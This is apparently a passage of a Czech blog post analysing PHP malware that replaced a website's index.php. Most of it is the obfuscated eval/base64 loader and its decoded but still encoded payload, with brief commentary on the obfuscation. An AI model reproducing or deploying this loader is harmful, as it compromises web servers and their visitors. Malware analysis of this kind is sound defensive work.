aRjBuSll1bEpZRVhpMndhV1l1OUpSQTBOdEV5VU85M2lvSmVwVjl4RXdwQkV3cFVwMFhRd1ZTSHd3QVZRazlTRTB3endZV1dueExBWUl1bEpZU1RpSXVlcE9WdGlCNTBKWUQ5SllKSW5oUzdmS2VsSll1bEpZdWxKWUVyTk9rdmlvcHhnb0VrSmYwbFBvcGNQb3ZsbllwUWlCNWRpQjUwd1JwWFdid0xpb0pJQ1lwak4yNUlVM0tJQ1lweFUzQXlOM1NUaU93Y25jSkxKa0F5aTI5MUpSV2tQSVNyTk9rdmlvSklDWXBUUHc5WE5iQWVnb2lrTklKTEpra3lXQkVYVTBweVdZSkxKdjF4eHZweVdZSkxKdlRYV2JEbG5EOWJXT3dhSlJBRlBCMGxQYjkwbmhKTEp2cFhnUUUxUTNTVGlPd2NKSUZJd2I5VFVPRElDWXBpUEI1dmlvbGxQYjkwSklGSUtrQUZnQkVrTklKTEp0RTNnQkFrVU93Y0pJRklRMjl0VTNRbFEzU1RpT3djSklGSVEzU2tpQkU1SlZBRmdCRWtOSUpMSnZYa05iazBOYms0SklGSVFSazBnTzlhQ293Y1VPcVRQSUpMSnZWTGlvWFhKWVhwS2hTU05iQWVnb2lrTkl2SUNZcFNOMkxJQ1lwVlpPVklVM0tJQ1lwZldvQTBVY0pMSnY5MVdPaXlaRHB5V1k5aVUyRVhVMHB5V1lKTEp0a1hQM3ZJQ1lweFdvcDJpb2tZVTNLSUNZcExpQldySklGSVVSV0ZDb0VjZ29pVFBCRklDWXB6V29FZGdZSkxKa0EwUEJBTVFiVmpQYnFrTklKTEprRWVpaFMzaUJKbFBvcGRnT2syaWh1ZWhRRGxLb3BkZ09rMmlvSlRKSUZJUU93Y1VZUzBVMjlMSklGSXhRZXFHYnB5V1lKTEp2NWtXT0FjUEJpMEpJRkl4d0FwRVFBY1BvV0xpb0pJQ1lwb0UydzBKUkV5VTJxckpJRklVT1ZjUGJrYUpJRklFYmtyZ1lTcmlCVmNQMmxJQ1l1dFBia2FpMnB5V1lOTEpZV0lQQmt2V2hOTEpZV1hVMkZ0Q1l1dFBia2FpY05MSllXaVBCNXZpb1hZVTNLdENZdXRLQlhjaUJpcktiOTBwY3Y3ZktlbEpZdWxKWXVsSk9peU5id1hQMmxsbllFck5Pa3Zpb3B4Z29Fa0pPVnJKWUUyUEJGVEpSTEFZSXVsSll1bEpZdWxKWXVsSllFcldSSmxzaFNyV1JwMFUycXlXMndjbllFMlBCRlR6RjBuSll1bEpZdWxKWXVsSll1bGdCUGxuUkEwTnRTeU5jbHZQQldrVXRLTEpZRXJXUkpUbmhTN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bE5idzBXb3BhSlJFY1dCUTdmS2VsSll1bEpZdWxKWXVsSllTOWZLZWxKWXVsSll1bEpSMEFZSXVsSllTOWlCcXJpb0xBWUl1bEpZdWxKWXVsTmJ3MFdvcGFKT2lYVVJBa3pGMG5KWXVsSlIwQVl0MEFZYmkxVWJBMGdCOWFKUkFqVTN3MGlPOGVwUndjVVlrN2ZLZWxKWXVscE9pVFVPd0hQMjlhV093YVdSR2xzaFN1aWJrTGl3OXRpb0VIUDI5YVdPd2FXUkdlcFJ3Y1VZdjdmS2VsSll1bGdCUGxuWUR2aWJrTGl3OWRVMjUwaUI1ME5jdmxaRjBuSll1bEpZdWxKWXV2UDJsbHNoU2RXb3BMbzJrYWdvS2VueExBWUl1bEpZdWxKWXVsUDN3Y1VWOXJpb0V5TlJLZXBPQWVDWVNmd3dwR3gxU1FvMXdoeFlGbHBSd2NVWXY3ZktlbEpZdWxKWXVsSk9BMU5icUhOMncwVTNTMG5ZRWRnWUZsSzF3aHhEOUt3VjloRXdFd1F2NVFRdlZ6UTBpVlFJRnFueExBWUl1bEpZdWxKWXVscE9pVFVPd0hQMjlhV093YVdSR2xzaFNkV29wTG8ydzRpQkdlcE9BZW54TEFZSXVsSll1bEpZdWxQM3djVVY5ZFVPOXJpaGx2UDJsVHpGMG5KWXVsSlIwQVlJdWxKWVNjaW9FMU5iNGxwT2lUVU93SFAyOWFXT3dhV1JHN2ZLVDlmS1RiV0I1ZFdPa3lVSVNMZ29BMEVPa2NuWUV2Z29KVFpGMG5KWXVsSllFYmdCcWtQb3BjSmYwbFBvcGNQb3ZlbnhMQVlJdWxKWVNUaUlYVE4xOXZnb0plcE9FVE5JdlRaRjBuSll1bEpZdWxKWVNUaUl1ZXBPRWVKZjBsVTNTa1ViRVROSWx2aU9rY25oazdmS2VsSll1bEpZdWxKWXVsSllTM2dPa0xpaHVlbllFYmdCcWtKZjBsTmJ3WGlPRVROSWx2aU9sVG5odVhzeDBsaWJWTE4yUVRaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKT2tibllYYmdCcWtvMnc0Z29BME5jbHZpT2tjQ0lKeUpJNHZpYmtMaWh2VEpZUGJKWUViZ0Jxa0p4MElDSUpscElQbHBPaVRVT1FYc2hKYUNJSlRaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1dmlia0xpQlZjTmtqV0pmMGxwT2lUVU9RN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEhLMG5KWXVsSll1bEpZdWxKWXVsSEswbkpZdWxKWXVsSll1bEpZdWxQMnF5TjJ3dmdvSmVwT0VlbnhMQVlJdWxKWXVsSll1bEhLMG5KWXVsSlIwQVlJdWxKWVNjaW9FMU5iNGxwT2lUVU93WE50SjdmS1Q5ZktlL3NsPT0iO2V2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7")); ?><?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' );?> Vlastně to ani nebyl inject, nýbrž na ostro replacnutý index.php z wordpressu (klientský web jede na nette aplikaci - k wordpressu má daleko). Vypadá to na práci automatizovaného bota, kterému se povedlo prolomit nějakou známou díru a prostě tam plácnul připravený index.php, který měl udělat zbytek práce. Všimněte si prvních dvou řádků kódu - nastavuje dobu pro dokončení kódu na 1 hodinu + povoluje spuštěnému kódu pokračovat i přes přerušení načítání uživatelem. Zbytek je příprava proměnných pro další práci injectu (nechápu proč je nemá také v base64 kódu, jelikož ten také obsahuje další globální proměnné). Další zajímavostí je snaha o zmatení čtenáře kódu proměnlivým používáním nul a óček v názvech pracovních proměnných pro překlad kódu (viz. $O00OO0) První věc co mě zajímala byl obsah base64 enkryptu, který byl evalován - https://www.base64decode.net/ $O0O000="TSuJwhrpBvmnAVGKLOcWNjQiXylUCtgsFZEPYoDqaMkHxzfdebRIxhapFXMTSybtuwOnCzNBAdKIockQYjlLViDsPefmgGvRqrHWZUEJsf9FgRulfKevgbETNIu9JYNtzF0npOX0WRSHW2wIJf0lp2X0WRutzF0ngBPegoAHgRE0NRGenhk7fKelpOX0WRulshutgRE0NRGtzF0nHBwLN2w7fKelpOX0WRulshutgRE0NYN7fKT9fKevN211NbkHWO1FJf0lN21cioV1ioA0o3wcghlTzF0ngBPepRAjWopTo3EjNf09pcNTZF0nJYulJYErUowcgw90Uou9pc8tzF0nHK0npRGlshutPINap2VrixPtCIN0o2QtCIWaP29vihN7fKevN211NbvlshuvNclvN211NbkHWO1FnxLAYbi1UbA0gB9aJRAjNbwqWBwrWV91NbvenoLAYIulJYSTiIuegoArioKepV9xEwpBEwpUp1pVQwwVQ1EHwwppp10TnoLAYIulJYulJYulpRAjWopTJf0lpV9xEwpBEwpUp1pVQwwVQ1EHwwppp107fKelJYulHBwLN2w7fKelJYulJYulJOkbnOkrN2w0nYEHQ0whwvwhBcWXNbW2p10TnoLAYIulJYulJYulJYulJYErUowcghu9JYEHQ0whwvwhBcWKhVSHQ0wGEIWWJY4lpr8tJY4lpV9xEwpBEwpUp2Vci3PtowLFoxLAYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYuvN211Nbvlshuvo1AVQkiVQkLtQDXKo1AVxDPtohuaJYN/pcuaJYEHQ0whwvwhBcWEwQwhBw9xwVppxvNtoxLAYIulJYulJYulHK0nJYulJR0AYIulJYScioE1Nb4lpRAjWopTzF0nHK0npOWyW2wIJf0lp2E0gOkcWRvjiBktgRKcCtATi2iyZOiyWB5vPoETU25tCtAeU3utzF0npRSXN3A3U3pvJf0lUBK1nO1vAhXupV9REwEUp3Svp10TnxLAYbkbJYlvNOVrN3WyNbKlsx0lprwbPbPrAbP2PdDFArSXiBG2ABPFGOAIzOQrABG5P2G0pcvlZF0nJYulJYEXiOEHP29aWOwaWYu9JDuvo0WVwVLtUBVFUbVjihWWzF0nJYulJYEXP3ETU24lshSupV9REwEUp2VdWOkyUIWWzF0nJYulJYEvU21XgB4lshSupV9REwEUp2EyUBVTUIWWzF0nJYulJOkbnYEvU21XgB4TZF0nJYulJYulJYuvgO9rWYu9JYEvU21XgB47fKelJYulHBwLN2w7fKelJYulJYulJYEeU3A0Jf0lpV9xEwpBEwpUp0XQwVSHhD9xwYWWzF0nJYulJR0AYIulJYuyCcEeU3A0Jf0lpV9xEwpBEwpUp0XQwVSHhD9xwYWWzF0nJYulJYEFPoEeJf0liOkcUbVjihXHo0ipxDwHocv7fKelJYulgBPepOVdWOkyUd09p3STUbNtnoLAYIulJYulJYulCc9eWREFNreyC3W3Wc5tU29tUOQaP29jC3STUbN/N2k0iB1XNf1eWREFNreyC2w4PB1FUOQaP29jC3ATWOwjPouaZO1LfKelJYulJYulJOkbnRA0NtA0NIlvPBEvo2AyUtEkUtKLpc54UBFtnhk7fKelJYulJYulJYulJYSTiIXTN19eWREFNclTnoLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshutgRE0NRG6Cc93W3Nai29yi2qkCbAyUh9FgB5ts3ATWOwjPou9pc4tgRE0NRG6Cc8tCIEeU3A0CINypc4vPBEvo2AyUtEkUtK7fKelJYulJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshutgRE0NRG6Cc93W3Nai29yi2qkCbAyUh9FgB5ts3ATWOwjPou9pc4tgRE0NfeyCcNapOXyN3Kapc8tCIEXiOEHP29aWOwaWfLAYIulJYulJYulJYulJR0AYIulJYulJYulJYulJY8yQ2k0iB1XNfelgRE0NfeyC3W3Wc5tWBEXUbWriBXXWY5dU20yUBVFgB5violaZO1LfKelJYulJYulJYulJYSTiIXrWRpTN3EcnRAjU3w0iO8epOEXWOVHUbw3nhFti29yi2qkpcvTZF0nJYulJYulJYulJYulJYulJOwdgO8lprqINd5ygrqINd4tzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYuliBAeUcuviOV0Pw9aioNaprqINd5FgB5tJOiXURAkJxqINd4tzF0nJYulJYulJYulJYulHK0nJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJOwdgO8lprqINd5rgoEkUBVFJO5XUBQlibVLN2QXsOpcsIN7fKelJYulJYulJR0AYIulJYulJYulioXTWfLAYIulJYS9fKeAYIulJYuvibkLiw9FPoEeJf0lpRSXWOlapc9cU2pyWRGaWRX0prLAYIulJYSTiIlXpOVdWOkyUIk7fKelJYulJYulJYEXP3ETU24lshutNRw0prLAYIulJYS9fKelJYulgBPepOVdWOkyUIu9shutNRw0pck7fKelJYulJYulJOkbnRA0NtA0NIlvPBEvo2AyUtEkUtKLpc54UBFtnhk7fKelJYulJYulJYulJYSTiIXbgBqko2w4goA0NclvibkLiw9FPoEenhk7fKelJYulJYulJYulJYulJYulpOEXWODlshSrUB91WOEynYEbgBqko3SXWOlTzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulpOEXWODlshutwoAkNI1Xi2waWfelnl0nKBqLU3N6JY8tzF0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulgBPeN3EcN3EcnYEvPoEXCYNypc4vPBEvo2AyUtEkUtKTnoLAYIulJYulJYulJYulJYulJYSkP2XyJYN8PtJ+N2k0iB1XNYSXURpkPBE5JOVviOwvJxqINd4tzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulgBPegoAHgRE0NRGenhk7fKelJYulJYulJYulJYulJYulJYulJYEvPoEXo25kWcu9JREcgB0epOEXWODTCIpNNkqaJI4tQ2k0iB1XNfelgRE0NRG6Cc8tCIEeU3A0CINypc4vPBEvo2AyUtEkUtK7fKelJYulJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulJYulJYEvPoEXo25kWcu9JREcgB0epOEXWODTCIpNNkqaJI4tQ2k0iB1XNfelgRE0NfeyCcNapOXyN3Kapc8tCIEXiOEHP29aWOwaWfLAYIulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulCc9xgoEkUBVFzISeWREFzI8yW3W3CbW1iOVai3AkgOV0CbAyUh9jPoSTUbEkZY54UBFAYIulJYulJYulJYulJYulJYSTiIXbgBqko3S1WV9dU250iB50NclvibkLiw9FPoEeCYEvPoEXo25kWcvTJRLAYIulJYulJYulJYulJYulJYulJYuliBAeUcutsOpcsb9MsOpcsIN7fKelJYulJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulJYulJOwdgO8lprqINd5bgBqkJRWcgoEkJOiXURAkJxqINd4tzF0nJYulJYulJYulJYulJYulJR0AYIulJYulJYulJYulJR0AYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYSkP2XyJYN8PtJ+N2k0iB1XNYSaPB1kJOiXURAkJxqINd4tzF0nJYulJYulJYS9fKelJYulJYulJOkbJYXrWRprWRJepOVviV9dU250iB50CYutCtSeNYNTnhS7fKepYKvvPhu9JO1vAhXjifQeKYEHE0wQBcWXp10TnxLAYlvpYhEIJf0lUBK1nO1vAhXupV9REwEUp2JtohvTzF0nYKvpgBPepOD9soAjU3w0iO8ep2X0WRu6Cc8tCIEtU3WkPI4tC2DaNOXFpcvlHRFlpOJ9shNcGBG0ifurGBEvGdv5GfDrAxiXzxVIG2wbP2AXGfDrGYNTZF0nYKvpYhErUoA0NIu9JDuvo0WVwVLtN21rWRJtoxLAYlvpYKkTiIXbgBqko3S1WV9dU250iB50NclvNOV0gYuaJYNypcuaJYEXiOEHP29aWOwaWYFlpRAjN3Ecnhk7fKepYKvpYBwdgO8lp29MprLAYlvpYKk9fKepYKk9fKelJYulJYulJR0AYIulJYS9fKelJYulgBPepOVdWOkyUIu9shutiOwLpck7fKelJYulJYulJOkbnOiTUOwHioXTN3ErnYEbgBqko3SXWOlTnoLAYIulJYulJYulJYulJYEvPoEXJf0lN21yWoEvUclvibkLiw9FPoEenxLAYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYuviOV0Phu9JYNtzF0nJYulJYulJYS9fKelJYulJYulJOkbnRA0NtA0NIlviOV0PhFtCcNapOVviV9dU250iB50nhk7fKelJYulJYulJYulJYSTiIXTN19eWREFNclTnoLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshS0NbkjnYEvPoEXnh4IoRpNUIJap1ATWOwjPou6JOX0WRSrzI8ypc4vgO9rWY4tCcNapOVviV9dU250iB50zF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulpOEXWOVHUbw3Jf0lWRpTUhlviOV0PhvaJkqcoO4ICIWxgoEkUBVFzISeWREFzI8ypc4vgO9rWY4tCcNapOVviV9dU250iB50zF0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulgBPeibkLiw9FWoEHP29aWOwaWRGepOiTUOwHNOV0gYFviOV0Pw9aioNTnhS7fKelJYulJYulJYulJYulJYuliBAeUcutsOpcsb9MsOpcsIN7fKelJYulJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJYulJYSkP2XyJYN8PtJ+ibkLihS3Nbk0ihSbPBqrihD8PtJ+prLAYIulJYulJYulJYulJR0AYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYSkP2XyJYN8PtJ+N2k0iB1XNYSvU2wrJO5yWYSkZOkrWYD8PtJ+prLAYIulJYulJYulHK0nJYulJR0AYl0nJYulJOw4goK7fKT9fKTbWB5dWOkyUISTN19eWREFNclTJRLAYIulJYSTiIueJYVkUoS0Zhlvo1AVQkiVQkLthVEQQVGtohvlpIPlN3EcWO9LU3WkNIlvo1AVQkiVQkLthVEQQVGtohvlJx09JYWyibPtnhS7fKelJYulJYulJRpkWRwcUIS0NtwkzF0nJYulJR0liBqriBkbJYllgoArioKepV9xEwpBEwpUp0XQwVSHBV9Ox1poKwpDEQEHQVpswD8tohvlpIPlpV9xEwpBEwpUp0XQwVSHBV9Ox1poKwpDEQEHQVpswD8tohu9sx0lp2X0WRSrpcuTJRLAYIulJYulJYulNbw0WopaJREcWBQ7fKelJYulHhSkURAkgBPlnYuXiB1FWRvepV9xEwpBEwpUp0XQwVSHEkpsxkEHEQ5Do0XQwVSxp10TJYPbJRA0NtEyUO93ioJepV9xEwpBEwpUp0XQwVSHEkpsxkEHEQ5Do0XQwVSxp10TJYD9shutU2ibpcvlZF0nJYulJYulJYScioE1Nb4lWRp1ixLAYIulJYS9fKelJYulNbw0WopaJOiXURAkzF0nHK0npREkUoulshSupV9REwEUp3AjWOwjNYWWzF0npOkvJf0lKYEH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iB50CYWaU2pyWRwriopXi2waWYNTnoLAYIulJYulJYulgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp29MgREjUOWkWOAyUtEkUtKtnhk7fKelJYulJYulJYulJYSugOwXiOwcnYpfU250iB50CoE5NOQ6JREkZRKyP3ArzcSdgOVcN2w0sow0iI04JIv7fKelJYulJYulJYulJYuvgREjUV9dU250iB50Jf0lN3Eco3pkNOqXP2QeJb9MgREjUOWkWOAyUtEkUtKICYNtCYEeWO1Lo2AyUtEkUtKTzF0nJYulJYulJYulJYuliBAeUcuvgREjUV9dU250iB50zF0nJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYS9iBqrihSTiIXrWRprWRJepOX0UBqHP29aWOwaWYFti2w0P29aWOwaWfQFGRSXi2Qtnhk7fKelJYulJYulJYulJYSugOwXiOwcnYWJwVEKCrDaGhu1GfulhB50iopaPBFlQ2wcWbwcJDwcNb9cpcv7fKelJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJR1kURAkJOkbnRA0NtA0NIlvgREjUV9dU250iB50CYWtioEdU250iB50Afu0NOVtihNTnoLAYIulJYulJYulJYulJDSeiBVvioJep0XQwVuyGh4qJfKFAYSzU3KlEb91UbKtnxLAYIulJYulJYulJYulJOw4goKenxLAYIulJYulJYulHK0nJYulJR0AYt0AYl0niBqrihSTiIlvN2k0ihk7fKelJYulgBPepRATWOQlsx0lp3XjUYNTZF0nJYulJYulJYSugOwXiOwcnYpfU250iB50CoE5NOQ6JREkZRKygREjUfLlP2XXNtAkWf11WOPjzYJTzF0nJYulJYulJYuvUBVFiOkcJf0lKYEHE0wQBcWjPoSvgoJtoxLAYIulJYulJYulpO1XNRE5NOQlshSupV9REwEUp21XNRE5NOQtoxLAYIulJYulJYulpOiTUOw0ZoSkJf0lKYEHE0wQBcWbgBqkWRkFihWWzF0nJYulJYulJYuvUBVFo3AFUOk0N19aWB0lshSupV9REwEUp21XNV9rNOqTWRAHUtwjp107fKelJYulJYulJYEjPoSHUtwjJf0lKYEHE0wQBcWjPoSHUtwjp107fKelJYulJYulJYEvPoEXxbw3Jf0lKYEHE0wQBcWvPoEXxbw3p107fKelJYulJYulJOkbnYEjPoSvgoJTZF0nJYulJYulJYulJYulgBPeJBkro2ETNIlvUBVFiOkcnhk7fKelJYulJYulJYulJYulJYulKO1MiOkcnYEjPoSvgoJLGfN3Acq0NtwknxLAYIulJYulJYulJYulJYulJYSkP2XyJYWygcutCIEjPoSvgoJapcSrWBAdioArJxqINd4tzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYuliBAeUcuvUBVFiOkcCINlPBqciBVvZhSkZOkrWYD8PtJ+prLAYIulJYulJYulJYulJR0AYIulJYulJYulHK0nJYulJYulJYSTiIXupV9REwEUp21XNOkaiOw4p10TZF0nJYulJYulJYulJYulpOiTUOwXNtpXZhu9JOqTN3EDgoJepO1XNOETNIv7fKelJYulJYulJYulJYSTiIXdU3waWYlvibkLiBVcNbV5nx49GIk7fKelJYulJYulJYulJYulJYulpO1XNOkaiOw4o3A0NIu9JYNtzF0nJYulJYulJYulJYulJYulJYEjPoSTUbEkZV9rWRJlshutsf94UBFlWbwcN2kyUd0IGh4FJISkUbAyiOkair0IwwEOCxlIsr4AYdqrgoEkUBVFgB5viollZO1LUtG9JbX0WRu6Cc93W3Nai29yi2qkCbAyUh9rP2XkUBVrC3ATW